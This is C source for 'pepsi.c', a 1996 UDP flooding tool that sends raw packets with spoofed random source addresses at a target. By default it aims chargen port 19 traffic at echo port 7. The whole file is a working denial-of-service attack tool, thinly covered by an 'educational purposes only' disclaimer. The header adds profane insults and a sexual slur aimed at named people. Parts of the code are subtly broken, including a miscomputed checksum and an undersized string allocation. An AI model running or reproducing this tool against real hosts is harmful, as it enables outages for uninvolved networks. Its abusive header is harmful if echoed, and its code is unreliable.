/*
* pepsi.c
* Random Source Host UDP flooder
*
* Author: Soldier@data-t.org
*
* [12.25.1996]
*
* Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd,
* Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
* Toasty, [shadow], [magnus] and silitek, oh and Data-T.
*
* Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity,
* Yakuza for ripping my code, #cha0s on the undernet for trying to port
* it to win95, then ircOpers on efnet for being such cocksuckers
* especially prae for trying to call the fbi on me at least 5 times.
* all warez pups i don't know for ripping off honest programers.
* and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego
* the size of california.
* AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker,
* pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN
* INTERNET HISTORY, AMM.
*
*
* Disclaimer since i don't wanna go to jail
* - this is for educational purposes only
*
*/
/* [Defines] */
#define FRIEND "My christmas present to the internet -Soldier"
#define VERSION "Pepsi.c v1.6"
#define DSTPORT 7
#define SRCPORT 19
#define PSIZE 1024
#define DWAIT 1
/* [Includes] */
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
/* #include <netinet/protocols.h> */
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <netinet/udp.h>
/* #include <netinet/ip_udp.h> */
#include <string.h>
#include <pwd.h>
/* [Banner] */
void banner()
{
}
/* [Option Parsing] */
struct sockaddr_in dstaddr;
unsigned long dst;
struct udphdr *udp;
struct iphdr *ip;
char *target;
char *srchost;
int dstport = 0;
int srcport = 0;
int numpacks = 0;
int psize = 0;
int wait = 0;
/* [Usage] */
void usage(char *pname)
{
printf("usage:\n ");
printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname);
printf("\t-s <src> : source where packets are comming from\n");
printf("\t-n <num> : number of UDP packets to send\n");
printf("\t-p <size> : Packet Size [Default is 1024]\n");
printf("\t-d <port> : Destination Port [Default is %.2d]\n", DSTPORT);
printf("\t-o <port> : Source Port [Default is %.2d]\n", SRCPORT);
printf("\t-w <time> : Wait time between packets [Default is 1]\n");
printf("\t<dest> : destination \n");
printf("\n");
exit(EXIT_SUCCESS);
}
/* [In chksum with some mods] */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
/* Resolve Functions */
unsigned long resolve(char *cp)
{
struct hostent *hp;
hp = gethostbyname(cp);
if (!hp) {
printf("[*] Unable to resolve %s\t\n", cp);
exit(EXIT_FAILURE);
}
return ((unsigned long) hp->h_addr);
}
void resolvedest(void)
{
struct hostent *host;
memset(&dstaddr, 0, sizeof(struct sockaddr_in));
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = inet_addr(target);
if (dstaddr.sin_addr.s_addr == -1) {
host = gethostbyname(target);
if (host == NULL) {
printf("[*] Unable To resolve %s\t\n", target);
exit(EXIT_FAILURE);
}
dstaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
}
memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
}
/* Parsing Argz */
void parse_args(int argc, char *argv[])
{
int opt;
while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1)
switch (opt) {
case 's':
srchost = (char *) malloc(strlen(optarg) + 1);
strcpy(srchost, optarg);
break;
case 'd':
dstport = atoi(optarg);
break;
case 'n':
numpacks = atoi(optarg);
break;
case 'p':
psize = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'o':
srcport = atoi(optarg);
break;
default:
usage(argv[0]);
}
if (!dstport)
dstport = DSTPORT;
if (!srcport)
srcport = SRCPORT;
if (!psize)
psize = PSIZE;
if (!wait)
wait = DWAIT;
if (!argv[optind]) {
puts("[*] Specify a target host, doof!");
exit(EXIT_FAILURE);
}
target = (char *) malloc(strlen(argv[optind]));
if (!target) {
puts("[*] Agh! Out of memory!");
perror("malloc");
exit(EXIT_FAILURE);
}
strcpy(target, argv[optind]);
}
/* [Send Packet] */
void main(int argc, char *argv[])
{
int sen, i, unlim = 0, sec_check;
char *packet;
banner();
if (argc < 2)
usage(argv[0]);
parse_args(argc, argv);
resolvedest();
printf("# Target Host : %s\n", target);
printf("# Source Host : %s\n",
(srchost && *srchost) ? srchost : "Random");
if (!numpacks)
printf("# Number : Unliminted\n");
else
printf("# Number : %d\n", numpacks);
printf("# Packet Size : %d\n", psize);
printf("# Wait Time : %d\n", wait);
printf("# Dest Port : %d\n", dstport);
printf("# Source Port : %d\n", srcport);
sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
packet = (char *) malloc(sizeof(struct tcpiphdr) +
sizeof(struct udphdr) +
psize);
ip = (struct tcpiphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct tcpiphdr));
memset(packet, 0, sizeof(struct tcpiphdr) + sizeof(struct udphdr) + psize);
if (!numpacks) {
unlim++;
numpacks++;
}
if (srchost && *srchost)
ip->saddr = resolve(srchost);
ip->daddr = dst;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct tcpiphdr) + sizeof(struct udphdr) + psize);
ip->check = in_cksum(ip, sizeof(struct tcpiphdr));
udp->source = htons(srcport);
udp->dest = htons(dstport);
udp->len = htons(sizeof(struct udphdr) + psize);
for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
if (!srchost)
ip->saddr = rand();
if (sendto(sen, packet, sizeof(struct iphdr) +
sizeof(struct udphdr) + psize,
0, (struct sockaddr *) &dstaddr,
sizeof(struct sockaddr_in)) == (-1)) {
puts("[*] Error sending Packet");
perror("SendPacket");
exit(EXIT_FAILURE);
}
usleep(wait);
}
}